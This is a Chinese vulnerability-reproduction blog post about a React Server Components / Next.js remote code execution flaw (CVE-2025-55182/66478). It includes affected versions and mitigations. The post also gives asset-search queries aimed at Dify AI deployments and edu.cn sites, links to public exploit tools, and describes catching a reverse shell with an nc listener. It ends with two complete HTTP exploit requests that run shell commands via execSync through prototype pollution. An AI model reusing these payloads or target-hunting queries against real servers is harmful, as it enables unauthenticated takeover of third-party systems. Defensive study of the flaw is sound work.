React_Next.js远程代码执行漏洞复现
React/Next.js远程代码执行漏洞(CVE-2025-55182/CVE-2025-66478)
一、漏洞概述
近日,绿盟科技CERT监测到React与Next.js发布安全公告,修复了React/Next.js远程代码执行漏洞(CVE-2025-55182/CVE-2025-66478);由于React Server Components在处理HTTP请求时存在不安全地反序列化,未经身份验证的攻击者可通过构造特制表单调用Node.js内置模块,从而在目标服务器上执行任意代码 ,由于Next.js使用的App Router内嵌了React的DOM包,因此也受该漏洞影响。CVSS评分10.0,目前漏洞细节与PoC已公开,请相关用户尽快采取措施进行防护。
React是Facebook推出的开源JavaScript库,采用声明式编程范式,让开发者能够高效地创建可交互的Web应用界面。
Next.js是Node.js生态中基于React的开源Web框架,其通过Server Actions功能提供了后端开发能力。
二、影响范围
受影响版本
React Server = 19.0.0
React Server = 19.1.0
React Server = 19.1.1
React Server = 19.2.0
注:包括react-server-dom-webpack/react-server-dom-parcel/react-server-dom-turbopack
15.0.0 <= Next.js <= 15.0.4
15.1.0 <= Next.js <= 15.1.8
15.2.0 <= Next.js <= 15.5.6
16.0.0 <= Next.js <= 16.0.6
Next.js >= 14.3.0-canary.77
注:react-router, waku, @parcel/rsc, @vitejs/plugin-rsc、rwsdk和RedwoodJS (RSC模式)等依赖React的框架/工具也可能受影响。
不受影响版本
React Server = 19.0.1
React Server = 19.1.2
React Server = 19.2.1
Next.js = 13.x
Next.js = 14.x
Next.js >= 15.0.5
Next.js >= 15.1.9
Next.js >= 15.2.6
Next.js >= 15.3.6
Next.js >= 15.4.8
Next.js >= 15.5.7
Next.js >= 16.0.7
注:仅使用Client Components (Pages Router) 和Edge Runtime的Next.js应用不受影响。
临时防护措施
若相关用户暂时无法进行升级操作,可通过下列措施进行临时缓解:
1、在不影响业务的前提下,修改配置禁用React Server Components功能;
2、对Server Function端点进行访问限制。
资产测绘引擎语法
在最新的版本利用中,dify(ai工具)成为重灾区,利用成功率较高
fofa语法:
body=“NEXT_DATA” && (body=“AI” || body=“人工智能” || body=“大模型” || body=“LLM”)
body=“NEXT_DATA” && (body=“dify” || title=“Dify” || body=“dify.ai”)
fofa语法:
body=“NEXT_DATA” && body=“version”
hunter语法:
(web.title=“Next.js” OR web.body=“NEXT_DATA”)&&domain=“edu.cn”
相关工具:
(扫描器)
https://github.com/fatguru/CVE-2025-55182-scanner.git
exp
https://github.com/Spritualkb/CVE-2025-55182-exp.git
三、漏洞复现
hunter语法搜索受影响资产:
app.name=“Next.js”


Dify组件默认受到此漏洞影响
vps开启nc监听

使用公开exp检测


可以看到了shell自动反弹回公网vps。复现成功
poc:
此 PoC 尝试在目标服务器上执行一个计算命令(powershell -c \"40461*43992\"),并将结果通过重定向返回。
POST / HTTP/1.1
Host: [目标主机]
Next-Action: x
X-Nextjs-Request-Id: q4cyykng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: tOBs1VaPKRJ30uOHFSteU
Cookie: HWWAFSESTIME=1764925900399; HWWAFSESID=6274b7384239192593
Content-Length: 718
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"40461*43992\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
执行系统识别命令
此 PoC 尝试在目标服务器上执行 id 命令,以确认远程代码执行(RCE)的有效性。
POST /apps HTTP/1.1
Host: [目标主机]
Next-Action: x
X-Nextjs-Request-Id: ygdkgols
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: 0OySzliul7lMdEUPchXuS
Content-Length: 691
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
声明
仅用来描述和检测可能存在的安全问题。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
- 感谢你赐予我前进的力量